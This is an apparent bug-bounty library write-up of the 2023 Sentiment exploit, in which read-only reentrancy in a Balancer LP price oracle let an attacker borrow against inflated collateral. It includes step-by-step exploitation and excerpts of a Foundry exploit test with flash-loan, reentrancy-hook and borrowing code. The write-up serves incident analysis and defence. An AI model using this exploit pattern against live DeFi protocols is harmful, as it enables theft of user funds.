# Sentiment: read-only reentrancy in Balancer LP oracle drains $1M

Sentiment's Balancer LP oracle was read-only-reentrant during exitPool, letting attacker borrow against inflated collateral and drain ~$1M.

- Payout: Real-world hack
- Severity: critical
- Program: Sentiment
- Analysis by: DeFiHackLabs
- Disclosed: 2023-04-05
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-04/Sentiment_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230405-sentiment
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:flash-loan vuln:oracle-manipulation vuln:reentrancy

**Target:** Balancer LP price oracle used by Sentiment AccountManager on Arbitrum
**Root cause:** WeightedBalancerLPOracle.getPrice reads Balancer pool balances via getPoolTokens, which is reentrant during exitPool before balances are updated, so the oracle returns a stale/inflated LP price.
**Steps:**
1. Flash loan WBTC/WETH/USDC from Aave V3 on Arbitrum.
2. Open Sentiment account, deposit 50 WETH, approve Balancer, and via `AccountManager.exec` call `joinPool(bytes32,address,address,(address[],uint256[],bytes,bool))` to add collateral.
3. Join the Balancer pool with large WBTC/WETH/USDC amounts to inflate LP token value.
4. Call `Balancer.exitPool`; during the callback (fallback, nonce==2) the pool balances are not yet updated.
5. Inside the reentrancy, call `WeightedBalancerLPOracle.getPrice(balancerToken)` which reads stale inflated balances, then `AccountManager.borrow` USDC/USDT/WETH/FRAX against the overpriced collateral.
6. Swap borrowed FRAX via FRAXBP, repay Aave flash loan, keep profit.
**How found:** Researcher (spreekaway) recognized that Balancer's getPoolTokens is callable mid-exitPool before state sync, and that Sentiment's WeightedBalancerLPOracle consumed that value directly as collateral price.
**Exploitation:** Attacker flash-borrowed ~$18M USDC plus WBTC/WETH, joined the Balancer pool to inflate LP price, then triggered exitPool. The exitPool callback reentered the oracle before balances updated, so Sentiment valued collateral at the inflated price. Attacker borrowed 461k USDC, 361k USDT, 81 WETH, 125k FRAX against it, swapped and repaid the flash loan, netting ~$1M.
**Escalation:** Chained Balancer read-only reentrancy into Sentiment's oracle to over-borrow across four assets, then swapped FRAX through FRAXBP to realize profit.
**Insight:** Any protocol using Balancer LP tokens as collateral must use a read-only-reentrancy-safe oracle (e.g. check pool's `getActualSupply`/lock state or use a TWAP); test oracle reads inside exitPool/joinPool callbacks.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flashloan and reentrancy**

```
function testExploit() external {
        payable(address(0)).transfer(address(this).balance);
        AccountManager.riskEngine();
        address[] memory assets = new address[](3);
        assets[0] = address(WBTC);
        assets[1] = address(WETH);
        assets[2] = address(USDC);
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 606 * 1e8;
        amounts[1] = 10_050_100 * 1e15;
        amounts[2] = 18_000_000 * 1e6;
        uint256[] memory modes = new uint256[](3);
        modes[0] = 0;
        modes[1] = 0;
        modes[2] = 0;
        aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
```

**Fallback reentrancy hook borrowing against inflated collateral**

```
fallback() external payable {
        if (nonce == 2) {
            console.log(
                "In Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))
            );
            borrowAll();
        }
        nonce++;
    }
```

**Borrow all tokens against overpriced LP collateral**

```
function borrowAll() internal {
        AccountManager.borrow(account, address(USDC), 461_000 * 1e6);
        AccountManager.borrow(account, address(USDT), 361_000 * 1e6);
        AccountManager.borrow(account, address(WETH), 81 * 1e18);
        AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);
```

